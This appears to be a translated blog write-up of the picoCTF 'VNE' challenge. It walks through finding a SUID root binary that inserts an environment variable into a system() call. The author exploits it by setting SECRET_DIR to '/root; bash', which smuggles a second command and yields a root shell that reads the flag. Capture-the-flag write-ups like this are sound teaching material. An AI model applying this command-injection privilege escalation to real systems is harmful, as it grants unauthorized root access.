This page was translated from Spanish with AI. The original version is in Spanish: read the original.

VNE

pico
pwn

July 12, 20252 minutes

For this challenge, picoCTF provides SSH credentials.

In /home/ctf-player there is a root-owned binary with SUID permissions that everyone can execute, which means anyone can run it as root

ctf-player@pico-chall$ ls -la
total 24
drwxr-xr-x 1 ctf-player ctf-player    20 Jul  6 10:55 .
drwxr-xr-x 1 root       root          24 Aug  4  2023 ..
drwx------ 2 ctf-player ctf-player    34 Jul  6 10:55 .cache
-rw-r--r-- 1 root       root          67 Aug  4  2023 .profile
-rwsr-xr-x 1 root       root       18752 Aug  4  2023 bin

When we run it, we get this error

ctf-player@pico-chall$ ./bin
Error: SECRET_DIR environment variable is not set

We have to set the SECRET_DIR environment variable to the directory we want to list

ctf-player@pico-chall$ export SECRET_DIR=/root
ctf-player@pico-chall$ ./bin
Listing the content of /root as root:
flag.txt
ctf-player@pico-chall$

How does it list the contents of the directory? The program printed flag.txt, but the root folder surely contains more files, like .bashrc, .profile, etc… The C functions for listing a folder’s contents show everything, including hidden files, unless told otherwise

With strings we can confirm that the program calls the system function at some point

ctf-player@pico-chall$ strings bin | grep system
system
Error: system() call returned non-zero value:
system@@GLIBC_2.2.5

So the binary might be doing a system(’ls /root’), which is why it wasn’t showing the hidden files…

Since the content of the environment variable is placed directly into a command, we can try a command injection

ctf-player@pico-chall$ export SECRET_DIR='/root; bash'
ctf-player@pico-chall$ ./bin
Listing the content of /root; bash as root:
flag.txt
root@challenge:~# cat /root/flag.txt
picoCTF{Power_t........74}